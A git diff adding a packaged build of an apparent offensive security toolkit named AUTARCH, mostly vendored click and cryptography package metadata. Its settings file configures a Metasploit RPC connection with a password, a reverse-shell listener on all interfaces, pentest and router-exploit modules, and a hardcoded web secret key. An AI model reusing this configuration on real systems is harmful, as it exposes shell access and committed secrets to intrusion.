diff --git a/Output/AUTARCH_Setup.exe b/Output/AUTARCH_Setup.exe new file mode 100644 index 0000000..80e514a Binary files /dev/null and b/Output/AUTARCH_Setup.exe differ diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/VCRUNTIME140.dll b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/VCRUNTIME140.dll new file mode 100644 index 0000000..411009b Binary files /dev/null and b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/VCRUNTIME140.dll differ diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/VCRUNTIME140_1.dll b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/VCRUNTIME140_1.dll new file mode 100644 index 0000000..2071f28 Binary files /dev/null and b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/VCRUNTIME140_1.dll differ diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/autarch.ico b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/autarch.ico new file mode 100644 index 0000000..c1538f9 Binary files /dev/null and b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/autarch.ico differ diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/autarch_settings.conf b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/autarch_settings.conf new file mode 100644 index 0000000..7f18999 --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/autarch_settings.conf @@ -0,0 +1,151 @@ +[llama] +model_path = C:\she\autarch\models\darkHal.gguf +n_ctx = 2048 +n_threads = 4 +n_gpu_layers = -1 +temperature = 0.7 +top_p = 0.9 +top_k = 40 +repeat_penalty = 1.1 +max_tokens = 1024 +seed = -1 +n_batch = 512 +rope_scaling_type = 0 +mirostat_mode = 0 +mirostat_tau = 5.0 +mirostat_eta = 0.1 +flash_attn = false +gpu_backend = vulkan + +[autarch] +first_run = false +modules_path = modules +verbose = false +llm_backend = local +quiet = false +no_banner = false + +[msf] +host = 127.0.0.1 +port = 55553 +username = msf +password = msdf +ssl = true + +[osint] +max_threads = 8 +timeout = 8 +include_nsfw = true + +[transformers] +model_path = C:\she\autarch\models\Lily-Cybersecurity-7B-v0.2 +device = xpu +torch_dtype = auto +load_in_8bit = false +load_in_4bit = true +trust_remote_code = false +max_tokens = 1024 +temperature = 0.7 +top_p = 0.9 +top_k = 40 +repetition_penalty = 1.1 +use_fast_tokenizer = true +padding_side = left +do_sample = true +num_beams = 1 +llm_int8_enable_fp32_cpu_offload = false +device_map = auto + +[claude] +api_key = +model = claude-sonnet-4-20250514 +max_tokens = 4096 +temperature = 0.7 + +[pentest] +max_pipeline_steps = 50 +output_chunk_size = 2000 +auto_execute = false +save_raw_output = true + +[rsf] +install_path = +enabled = true +default_target = +default_port = 80 +execution_timeout = 120 + +[upnp] +enabled = true +internal_ip = 10.0.0.26 +refresh_hours = 12 +mappings = 443:TCP,51820:UDP,8080:TCP + +[wireguard] +enabled = true +config_path = /etc/wireguard/wg0.conf +interface = wg0 +subnet = 10.1.0.0/24 +server_address = 10.1.0.1 +listen_port = 51820 +default_dns = 1.1.1.1, 8.8.8.8 +default_allowed_ips = 0.0.0.0/0, ::/0 + +[huggingface] +api_key = +model = mistralai/Mistral-7B-Instruct-v0.3 +endpoint = +max_tokens = 1024 +temperature = 0.7 +top_p = 0.9 + +[discovery] +enabled = true +mdns_enabled = true +bluetooth_enabled = true +bt_require_security = true + +[web] +host = 0.0.0.0 +port = 8181 +secret_key = 23088243f11ce0b135c64413073c8c9fc0ecf83711d5f892b68f95b348a54007 +mcp_port = 8081 + +[revshell] +enabled = true +host = 0.0.0.0 +port = 17322 +auto_start = false + +[slm] +enabled = true +backend = local +model_path = +n_ctx = 512 +n_gpu_layers = -1 +n_threads = 2 + +[sam] +enabled = true +backend = local +model_path = +n_ctx = 2048 +n_gpu_layers = -1 +n_threads = 4 + +[lam] +enabled = true +backend = local +model_path = +n_ctx = 4096 +n_gpu_layers = -1 +n_threads = 4 + +[autonomy] +enabled = false +monitor_interval = 3 +rule_eval_interval = 5 +max_concurrent_agents = 3 +threat_threshold_auto_respond = 40 +log_max_entries = 1000 + diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/certifi/py.typed b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/certifi/py.typed new file mode 100644 index 0000000..e69de29 diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/click-8.2.1.dist-info/INSTALLER b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/click-8.2.1.dist-info/INSTALLER new file mode 100644 index 0000000..a1b589e --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/click-8.2.1.dist-info/INSTALLER @@ -0,0 +1 @@ +pip diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/click-8.2.1.dist-info/METADATA b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/click-8.2.1.dist-info/METADATA new file mode 100644 index 0000000..e6c05af --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/click-8.2.1.dist-info/METADATA @@ -0,0 +1,82 @@ +Metadata-Version: 2.4 +Name: click +Version: 8.2.1 +Summary: Composable command line interface toolkit +Maintainer-email: Pallets +Requires-Python: >=3.10 +Description-Content-Type: text/markdown +License-Expression: BSD-3-Clause +Classifier: Development Status :: 5 - Production/Stable +Classifier: Intended Audience :: Developers +Classifier: Operating System :: OS Independent +Classifier: Programming Language :: Python +Classifier: Typing :: Typed +License-File: LICENSE.txt +Requires-Dist: colorama; platform_system == 'Windows' +Project-URL: Changes, https://click.palletsprojects.com/page/changes/ +Project-URL: Chat, https://discord.gg/pallets +Project-URL: Documentation, https://click.palletsprojects.com/ +Project-URL: Donate, https://palletsprojects.com/donate +Project-URL: Source, https://github.com/pallets/click/ + +# $ click_ + +Click is a Python package for creating beautiful command line interfaces +in a composable way with as little code as necessary. It's the "Command +Line Interface Creation Kit". It's highly configurable but comes with +sensible defaults out of the box. + +It aims to make the process of writing command line tools quick and fun +while also preventing any frustration caused by the inability to +implement an intended CLI API. + +Click in three points: + +- Arbitrary nesting of commands +- Automatic help page generation +- Supports lazy loading of subcommands at runtime + + +## A Simple Example + +```python +import click + +@click.command() +@click.option("--count", default=1, help="Number of greetings.") +@click.option("--name", prompt="Your name", help="The person to greet.") +def hello(count, name): + """Simple program that greets NAME for a total of COUNT times.""" + for _ in range(count): + click.echo(f"Hello, {name}!") + +if __name__ == '__main__': + hello() +``` + +``` +$ python hello.py --count=3 +Your name: Click +Hello, Click! +Hello, Click! +Hello, Click! +``` + + +## Donate + +The Pallets organization develops and supports Click and other popular +packages. In order to grow the community of contributors and users, and +allow the maintainers to devote more time to the projects, [please +donate today][]. + +[please donate today]: https://palletsprojects.com/donate + +## Contributing + +See our [detailed contributing documentation][contrib] for many ways to +contribute, including reporting issues, requesting features, asking or answering +questions, and making PRs. + +[contrib]: https://palletsprojects.com/contributing/ + diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/click-8.2.1.dist-info/RECORD b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/click-8.2.1.dist-info/RECORD new file mode 100644 index 0000000..e8997cd --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/click-8.2.1.dist-info/RECORD @@ -0,0 +1,38 @@ +click-8.2.1.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4 +click-8.2.1.dist-info/METADATA,sha256=dI1MbhHTLoKD2tNCCGnx9rK2gok23HDNylFeLKdLSik,2471 +click-8.2.1.dist-info/RECORD,, +click-8.2.1.dist-info/WHEEL,sha256=G2gURzTEtmeR8nrdXUJfNiB3VYVxigPQ-bEQujpNiNs,82 +click-8.2.1.dist-info/licenses/LICENSE.txt,sha256=morRBqOU6FO_4h9C9OctWSgZoigF2ZG18ydQKSkrZY0,1475 +click/__init__.py,sha256=6YyS1aeyknZ0LYweWozNZy0A9nZ_11wmYIhv3cbQrYo,4473 +click/__pycache__/__init__.cpython-313.pyc,, +click/__pycache__/_compat.cpython-313.pyc,, +click/__pycache__/_termui_impl.cpython-313.pyc,, +click/__pycache__/_textwrap.cpython-313.pyc,, +click/__pycache__/_winconsole.cpython-313.pyc,, +click/__pycache__/core.cpython-313.pyc,, +click/__pycache__/decorators.cpython-313.pyc,, +click/__pycache__/exceptions.cpython-313.pyc,, +click/__pycache__/formatting.cpython-313.pyc,, +click/__pycache__/globals.cpython-313.pyc,, +click/__pycache__/parser.cpython-313.pyc,, +click/__pycache__/shell_completion.cpython-313.pyc,, +click/__pycache__/termui.cpython-313.pyc,, +click/__pycache__/testing.cpython-313.pyc,, +click/__pycache__/types.cpython-313.pyc,, +click/__pycache__/utils.cpython-313.pyc,, +click/_compat.py,sha256=v3xBZkFbvA1BXPRkFfBJc6-pIwPI7345m-kQEnpVAs4,18693 +click/_termui_impl.py,sha256=ASXhLi9IQIc0Js9KQSS-3-SLZcPet3VqysBf9WgbbpI,26712 +click/_textwrap.py,sha256=BOae0RQ6vg3FkNgSJyOoGzG1meGMxJ_ukWVZKx_v-0o,1400 +click/_winconsole.py,sha256=_vxUuUaxwBhoR0vUWCNuHY8VUefiMdCIyU2SXPqoF-A,8465 +click/core.py,sha256=gUhpNS9cFBGdEXXdisGVG-eRvGf49RTyFagxulqwdFw,117343 +click/decorators.py,sha256=5P7abhJtAQYp_KHgjUvhMv464ERwOzrv2enNknlwHyQ,18461 +click/exceptions.py,sha256=1rdtXgHJ1b3OjGkN-UpXB9t_HCBihJvh_DtpmLmwn9s,9891 +click/formatting.py,sha256=Bhqx4QXdKQ9W4WKknIwj5KPKFmtduGOuGq1yw_THLZ8,9726 +click/globals.py,sha256=gM-Nh6A4M0HB_SgkaF5M4ncGGMDHc_flHXu9_oh4GEU,1923 +click/parser.py,sha256=nU1Ah2p11q29ul1vNdU9swPo_PUuKrxU6YXToi71q1c,18979 +click/py.typed,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 +click/shell_completion.py,sha256=CQSGdjgun4ORbOZrXP0CVhEtPx4knsufOkRsDiK64cM,19857 +click/termui.py,sha256=vAYrKC2a7f_NfEIhAThEVYfa__ib5XQbTSCGtJlABRA,30847 +click/testing.py,sha256=2eLdAaCJCGToP5Tw-XN8JjrDb3wbJIfARxg3d0crW5M,18702 +click/types.py,sha256=KBTRxN28cR1VZ5mb9iJX98MQSw_p9SGzljqfEI8z5Tw,38389 +click/utils.py,sha256=b1Mm-usEDBHtEwcPltPIn3zSK4nw2KTp5GC7_oSTlLo,20245 diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/click-8.2.1.dist-info/WHEEL b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/click-8.2.1.dist-info/WHEEL new file mode 100644 index 0000000..d8b9936 --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/click-8.2.1.dist-info/WHEEL @@ -0,0 +1,4 @@ +Wheel-Version: 1.0 +Generator: flit 3.12.0 +Root-Is-Purelib: true +Tag: py3-none-any diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/click-8.2.1.dist-info/licenses/LICENSE.txt b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/click-8.2.1.dist-info/licenses/LICENSE.txt new file mode 100644 index 0000000..d12a849 --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/click-8.2.1.dist-info/licenses/LICENSE.txt @@ -0,0 +1,28 @@ +Copyright 2014 Pallets + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are +met: + +1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + +2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +3. Neither the name of the copyright holder nor the names of its + contributors may be used to endorse or promote products derived from + this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A +PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED +TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR +PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF +LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING +NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/cryptography-46.0.5.dist-info/INSTALLER b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/cryptography-46.0.5.dist-info/INSTALLER new file mode 100644 index 0000000..a1b589e --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/cryptography-46.0.5.dist-info/INSTALLER @@ -0,0 +1 @@ +pip diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/cryptography-46.0.5.dist-info/METADATA b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/cryptography-46.0.5.dist-info/METADATA new file mode 100644 index 0000000..15080bb --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/cryptography-46.0.5.dist-info/METADATA @@ -0,0 +1,139 @@ +Metadata-Version: 2.4 +Name: cryptography +Version: 46.0.5 +Classifier: Development Status :: 5 - Production/Stable +Classifier: Intended Audience :: Developers +Classifier: Natural Language :: English +Classifier: Operating System :: MacOS :: MacOS X +Classifier: Operating System :: POSIX +Classifier: Operating System :: POSIX :: BSD +Classifier: Operating System :: POSIX :: Linux +Classifier: Operating System :: Microsoft :: Windows +Classifier: Programming Language :: Python +Classifier: Programming Language :: Python :: 3 +Classifier: Programming Language :: Python :: 3 :: Only +Classifier: Programming Language :: Python :: 3.8 +Classifier: Programming Language :: Python :: 3.9 +Classifier: Programming Language :: Python :: 3.10 +Classifier: Programming Language :: Python :: 3.11 +Classifier: Programming Language :: Python :: 3.12 +Classifier: Programming Language :: Python :: 3.13 +Classifier: Programming Language :: Python :: 3.14 +Classifier: Programming Language :: Python :: Implementation :: CPython +Classifier: Programming Language :: Python :: Implementation :: PyPy +Classifier: Programming Language :: Python :: Free Threading :: 3 - Stable +Classifier: Topic :: Security :: Cryptography +Requires-Dist: cffi>=1.14 ; python_full_version == '3.8.*' and platform_python_implementation != 'PyPy' +Requires-Dist: cffi>=2.0.0 ; python_full_version >= '3.9' and platform_python_implementation != 'PyPy' +Requires-Dist: typing-extensions>=4.13.2 ; python_full_version < '3.11' +Requires-Dist: bcrypt>=3.1.5 ; extra == 'ssh' +Requires-Dist: nox[uv]>=2024.4.15 ; extra == 'nox' +Requires-Dist: cryptography-vectors==46.0.5 ; extra == 'test' +Requires-Dist: pytest>=7.4.0 ; extra == 'test' +Requires-Dist: pytest-benchmark>=4.0 ; extra == 'test' +Requires-Dist: pytest-cov>=2.10.1 ; extra == 'test' +Requires-Dist: pytest-xdist>=3.5.0 ; extra == 'test' +Requires-Dist: pretend>=0.7 ; extra == 'test' +Requires-Dist: certifi>=2024 ; extra == 'test' +Requires-Dist: pytest-randomly ; extra == 'test-randomorder' +Requires-Dist: sphinx>=5.3.0 ; extra == 'docs' +Requires-Dist: sphinx-rtd-theme>=3.0.0 ; extra == 'docs' +Requires-Dist: sphinx-inline-tabs ; extra == 'docs' +Requires-Dist: pyenchant>=3 ; extra == 'docstest' +Requires-Dist: readme-renderer>=30.0 ; extra == 'docstest' +Requires-Dist: sphinxcontrib-spelling>=7.3.1 ; extra == 'docstest' +Requires-Dist: build>=1.0.0 ; extra == 'sdist' +Requires-Dist: ruff>=0.11.11 ; extra == 'pep8test' +Requires-Dist: mypy>=1.14 ; extra == 'pep8test' +Requires-Dist: check-sdist ; extra == 'pep8test' +Requires-Dist: click>=8.0.1 ; extra == 'pep8test' +Provides-Extra: ssh +Provides-Extra: nox +Provides-Extra: test +Provides-Extra: test-randomorder +Provides-Extra: docs +Provides-Extra: docstest +Provides-Extra: sdist +Provides-Extra: pep8test +License-File: LICENSE +License-File: LICENSE.APACHE +License-File: LICENSE.BSD +Summary: cryptography is a package which provides cryptographic recipes and primitives to Python developers. +Author-email: The Python Cryptographic Authority and individual contributors +License-Expression: Apache-2.0 OR BSD-3-Clause +Requires-Python: >=3.8, !=3.9.0, !=3.9.1 +Description-Content-Type: text/x-rst; charset=UTF-8 +Project-URL: homepage, https://github.com/pyca/cryptography +Project-URL: documentation, https://cryptography.io/ +Project-URL: source, https://github.com/pyca/cryptography/ +Project-URL: issues, https://github.com/pyca/cryptography/issues +Project-URL: changelog, https://cryptography.io/en/latest/changelog/ + +pyca/cryptography +================= + +.. image:: https://img.shields.io/pypi/v/cryptography.svg + :target: https://pypi.org/project/cryptography/ + :alt: Latest Version + +.. image:: https://readthedocs.org/projects/cryptography/badge/?version=latest + :target: https://cryptography.io + :alt: Latest Docs + +.. image:: https://github.com/pyca/cryptography/actions/workflows/ci.yml/badge.svg + :target: https://github.com/pyca/cryptography/actions/workflows/ci.yml?query=branch%3Amain + +``cryptography`` is a package which provides cryptographic recipes and +primitives to Python developers. Our goal is for it to be your "cryptographic +standard library". It supports Python 3.8+ and PyPy3 7.3.11+. + +``cryptography`` includes both high level recipes and low level interfaces to +common cryptographic algorithms such as symmetric ciphers, message digests, and +key derivation functions. For example, to encrypt something with +``cryptography``'s high level symmetric encryption recipe: + +.. code-block:: pycon + + >>> from cryptography.fernet import Fernet + >>> # Put this somewhere safe! + >>> key = Fernet.generate_key() + >>> f = Fernet(key) + >>> token = f.encrypt(b"A really secret message. Not for prying eyes.") + >>> token + b'...' + >>> f.decrypt(token) + b'A really secret message. Not for prying eyes.' + +You can find more information in the `documentation`_. + +You can install ``cryptography`` with: + +.. code-block:: console + + $ pip install cryptography + +For full details see `the installation documentation`_. + +Discussion +~~~~~~~~~~ + +If you run into bugs, you can file them in our `issue tracker`_. + +We maintain a `cryptography-dev`_ mailing list for development discussion. + +You can also join ``#pyca`` on ``irc.libera.chat`` to ask questions or get +involved. + +Security +~~~~~~~~ + +Need to report a security issue? Please consult our `security reporting`_ +documentation. + + +.. _`documentation`: https://cryptography.io/ +.. _`the installation documentation`: https://cryptography.io/en/latest/installation/ +.. _`issue tracker`: https://github.com/pyca/cryptography/issues +.. _`cryptography-dev`: https://mail.python.org/mailman/listinfo/cryptography-dev +.. _`security reporting`: https://cryptography.io/en/latest/security/ + diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/cryptography-46.0.5.dist-info/RECORD b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/cryptography-46.0.5.dist-info/RECORD new file mode 100644 index 0000000..5d68585 --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/cryptography-46.0.5.dist-info/RECORD @@ -0,0 +1,180 @@ +cryptography-46.0.5.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4 +cryptography-46.0.5.dist-info/METADATA,sha256=aOYB9_B-Ccske76ncMz-w9c_VnzYihv_7kxZlt2i2WQ,5748 +cryptography-46.0.5.dist-info/RECORD,, +cryptography-46.0.5.dist-info/WHEEL,sha256=8hEf8NzM1FnmM77AjVt5h8nDuYkN3UqZ79LoIAHXeRE,95 +cryptography-46.0.5.dist-info/licenses/LICENSE,sha256=Pgx8CRqUi4JTO6mP18u0BDLW8amsv4X1ki0vmak65rs,197 +cryptography-46.0.5.dist-info/licenses/LICENSE.APACHE,sha256=qsc7MUj20dcRHbyjIJn2jSbGRMaBOuHk8F9leaomY_4,11360 +cryptography-46.0.5.dist-info/licenses/LICENSE.BSD,sha256=YCxMdILeZHndLpeTzaJ15eY9dz2s0eymiSMqtwCPtPs,1532 +cryptography/__about__.py,sha256=GWg4NAxg4vsSKUwmDy1HjUeAOhqTA46wIhiY6i03NSU,445 +cryptography/__init__.py,sha256=mthuUrTd4FROCpUYrTIqhjz6s6T9djAZrV7nZ1oMm2o,364 +cryptography/__pycache__/__about__.cpython-313.pyc,, +cryptography/__pycache__/__init__.cpython-313.pyc,, +cryptography/__pycache__/exceptions.cpython-313.pyc,, +cryptography/__pycache__/fernet.cpython-313.pyc,, +cryptography/__pycache__/utils.cpython-313.pyc,, +cryptography/exceptions.py,sha256=835EWILc2fwxw-gyFMriciC2SqhViETB10LBSytnDIc,1087 +cryptography/fernet.py,sha256=3Cvxkh0KJSbX8HbnCHu4wfCW7U0GgfUA3v_qQ8a8iWc,6963 +cryptography/hazmat/__init__.py,sha256=5IwrLWrVp0AjEr_4FdWG_V057NSJGY_W4egNNsuct0g,455 +cryptography/hazmat/__pycache__/__init__.cpython-313.pyc,, +cryptography/hazmat/__pycache__/_oid.cpython-313.pyc,, +cryptography/hazmat/_oid.py,sha256=p8ThjwJB56Ci_rAIrjyJ1f8VjgD6e39es2dh8JIUBOw,17240 +cryptography/hazmat/asn1/__init__.py,sha256=hS_EWx3wVvZzfbCcNV8hzcDnyMM8H-BhIoS1TipUosk,293 +cryptography/hazmat/asn1/__pycache__/__init__.cpython-313.pyc,, +cryptography/hazmat/asn1/__pycache__/asn1.cpython-313.pyc,, +cryptography/hazmat/asn1/asn1.py,sha256=eMEThEXa19LQjcyVofgHsW6tsZnjp3ddH7bWkkcxfLM,3860 +cryptography/hazmat/backends/__init__.py,sha256=O5jvKFQdZnXhKeqJ-HtulaEL9Ni7mr1mDzZY5kHlYhI,361 +cryptography/hazmat/backends/__pycache__/__init__.cpython-313.pyc,, +cryptography/hazmat/backends/openssl/__init__.py,sha256=p3jmJfnCag9iE5sdMrN6VvVEu55u46xaS_IjoI0SrmA,305 +cryptography/hazmat/backends/openssl/__pycache__/__init__.cpython-313.pyc,, +cryptography/hazmat/backends/openssl/__pycache__/backend.cpython-313.pyc,, +cryptography/hazmat/backends/openssl/backend.py,sha256=tV5AxBoFJ2GfA0DMWSY-0TxQJrpQoexzI9R4Kybb--4,10215 +cryptography/hazmat/bindings/__init__.py,sha256=s9oKCQ2ycFdXoERdS1imafueSkBsL9kvbyfghaauZ9Y,180 +cryptography/hazmat/bindings/__pycache__/__init__.cpython-313.pyc,, +cryptography/hazmat/bindings/_rust.pyd,sha256=knGoVIXvM_YJK_uAE8So79A94TE14UB_CTtgTk71420,9110528 +cryptography/hazmat/bindings/_rust/__init__.pyi,sha256=KhqLhXFPArPzzJ7DYO9Fl8FoXB_BagAd_r4Dm_Ze9Xo,1257 +cryptography/hazmat/bindings/_rust/_openssl.pyi,sha256=mpNJLuYLbCVrd5i33FBTmWwL_55Dw7JPkSLlSX9Q7oI,230 +cryptography/hazmat/bindings/_rust/asn1.pyi,sha256=BrGjC8J6nwuS-r3EVcdXJB8ndotfY9mbQYOfpbPG0HA,354 +cryptography/hazmat/bindings/_rust/declarative_asn1.pyi,sha256=2ECFmYue1EPkHEE2Bm7aLwkjB0mSUTpr23v9MN4pri4,892 +cryptography/hazmat/bindings/_rust/exceptions.pyi,sha256=exXr2xw_0pB1kk93cYbM3MohbzoUkjOms1ZMUi0uQZE,640 +cryptography/hazmat/bindings/_rust/ocsp.pyi,sha256=VPVWuKHI9EMs09ZLRYAGvR0Iz0mCMmEzXAkgJHovpoM,4020 +cryptography/hazmat/bindings/_rust/openssl/__init__.pyi,sha256=iOAMDyHoNwwCSZfZzuXDr64g4GpGUeDgEN-LjXqdrBM,1522 +cryptography/hazmat/bindings/_rust/openssl/aead.pyi,sha256=4Nddw6-ynzIB3w2W86WvkGKTLlTDk_6F5l54RHCuy3E,2688 +cryptography/hazmat/bindings/_rust/openssl/ciphers.pyi,sha256=LhPzHWSXJq4grAJXn6zSvSSdV-aYIIscHDwIPlJGGPs,1315 +cryptography/hazmat/bindings/_rust/openssl/cmac.pyi,sha256=nPH0X57RYpsAkRowVpjQiHE566ThUTx7YXrsadmrmHk,564 +cryptography/hazmat/bindings/_rust/openssl/dh.pyi,sha256=Z3TC-G04-THtSdAOPLM1h2G7ml5bda1ElZUcn5wpuhk,1564 +cryptography/hazmat/bindings/_rust/openssl/dsa.pyi,sha256=qBtkgj2albt2qFcnZ9UDrhzoNhCVO7HTby5VSf1EXMI,1299 +cryptography/hazmat/bindings/_rust/openssl/ec.pyi,sha256=zJy0pRa5n-_p2dm45PxECB_-B6SVZyNKfjxFDpPqT38,1691 +cryptography/hazmat/bindings/_rust/openssl/ed25519.pyi,sha256=VXfXd5G6hUivg399R1DYdmW3eTb0EebzDTqjRC2gaRw,532 +cryptography/hazmat/bindings/_rust/openssl/ed448.pyi,sha256=Yx49lqdnjsD7bxiDV1kcaMrDktug5evi5a6zerMiy2s,514 +cryptography/hazmat/bindings/_rust/openssl/hashes.pyi,sha256=OWZvBx7xfo_HJl41Nc--DugVyCVPIprZ3HlOPTSWH9g,984 +cryptography/hazmat/bindings/_rust/openssl/hmac.pyi,sha256=BXZn7NDjL3JAbYW0SQ8pg1iyC5DbQXVhUAiwsi8DFR8,702 +cryptography/hazmat/bindings/_rust/openssl/kdf.pyi,sha256=xXfFBb9QehHfDtEaxV_65Z0YK7NquOVIChpTLkgAs_k,2029 +cryptography/hazmat/bindings/_rust/openssl/keys.pyi,sha256=teIt8M6ZEMJrn4s3W0UnW0DZ-30Jd68WnSsKKG124l0,912 +cryptography/hazmat/bindings/_rust/openssl/poly1305.pyi,sha256=_SW9NtQ5FDlAbdclFtWpT4lGmxKIKHpN-4j8J2BzYfQ,585 +cryptography/hazmat/bindings/_rust/openssl/rsa.pyi,sha256=2OQCNSXkxgc-3uw1xiCCloIQTV6p9_kK79Yu0rhZgPc,1364 +cryptography/hazmat/bindings/_rust/openssl/x25519.pyi,sha256=ewn4GpQyb7zPwE-ni7GtyQgMC0A1mLuqYsSyqv6nI_s,523 +cryptography/hazmat/bindings/_rust/openssl/x448.pyi,sha256=juTZTmli8jO_5Vcufg-vHvx_tCyezmSLIh_9PU3TczI,505 +cryptography/hazmat/bindings/_rust/pkcs12.pyi,sha256=vEEd5wDiZvb8ZGFaziLCaWLzAwoG_tvPUxLQw5_uOl8,1605 +cryptography/hazmat/bindings/_rust/pkcs7.pyi,sha256=txGBJijqZshEcqra6byPNbnisIdlxzOSIHP2hl9arPs,1601 +cryptography/hazmat/bindings/_rust/test_support.pyi,sha256=PPhld-WkO743iXFPebeG0LtgK0aTzGdjcIsay1Gm5GE,757 +cryptography/hazmat/bindings/_rust/x509.pyi,sha256=n9X0IQ6ICbdIi-ExdCFZoBgeY6njm3QOVAVZwDQdnbk,9784 +cryptography/hazmat/bindings/openssl/__init__.py,sha256=s9oKCQ2ycFdXoERdS1imafueSkBsL9kvbyfghaauZ9Y,180 +cryptography/hazmat/bindings/openssl/__pycache__/__init__.cpython-313.pyc,, +cryptography/hazmat/bindings/openssl/__pycache__/_conditional.cpython-313.pyc,, +cryptography/hazmat/bindings/openssl/__pycache__/binding.cpython-313.pyc,, +cryptography/hazmat/bindings/openssl/_conditional.py,sha256=DMOpA_XN4l70zTc5_J9DpwlbQeUBRTWpfIJ4yRIn1-U,5791 +cryptography/hazmat/bindings/openssl/binding.py,sha256=x8eocEmukO4cm7cHqfVmOoYY7CCXdoF1v1WhZQt9neo,4610 +cryptography/hazmat/decrepit/__init__.py,sha256=wHCbWfaefa-fk6THSw9th9fJUsStJo7245wfFBqmduA,216 +cryptography/hazmat/decrepit/__pycache__/__init__.cpython-313.pyc,, +cryptography/hazmat/decrepit/ciphers/__init__.py,sha256=wHCbWfaefa-fk6THSw9th9fJUsStJo7245wfFBqmduA,216 +cryptography/hazmat/decrepit/ciphers/__pycache__/__init__.cpython-313.pyc,, +cryptography/hazmat/decrepit/ciphers/__pycache__/algorithms.cpython-313.pyc,, +cryptography/hazmat/decrepit/ciphers/algorithms.py,sha256=YrKgHS4MfwWaMmPBYRymRRlC0phwWp9ycICFezeJPGk,2595 +cryptography/hazmat/primitives/__init__.py,sha256=s9oKCQ2ycFdXoERdS1imafueSkBsL9kvbyfghaauZ9Y,180 +cryptography/hazmat/primitives/__pycache__/__init__.cpython-313.pyc,, +cryptography/hazmat/primitives/__pycache__/_asymmetric.cpython-313.pyc,, +cryptography/hazmat/primitives/__pycache__/_cipheralgorithm.cpython-313.pyc,, +cryptography/hazmat/primitives/__pycache__/_serialization.cpython-313.pyc,, +cryptography/hazmat/primitives/__pycache__/cmac.cpython-313.pyc,, +cryptography/hazmat/primitives/__pycache__/constant_time.cpython-313.pyc,, +cryptography/hazmat/primitives/__pycache__/hashes.cpython-313.pyc,, +cryptography/hazmat/primitives/__pycache__/hmac.cpython-313.pyc,, +cryptography/hazmat/primitives/__pycache__/keywrap.cpython-313.pyc,, +cryptography/hazmat/primitives/__pycache__/padding.cpython-313.pyc,, +cryptography/hazmat/primitives/__pycache__/poly1305.cpython-313.pyc,, +cryptography/hazmat/primitives/_asymmetric.py,sha256=RhgcouUB6HTiFDBrR1LxqkMjpUxIiNvQ1r_zJjRG6qQ,532 +cryptography/hazmat/primitives/_cipheralgorithm.py,sha256=Eh3i7lwedHfi0eLSsH93PZxQKzY9I6lkK67vL4V5tOc,1522 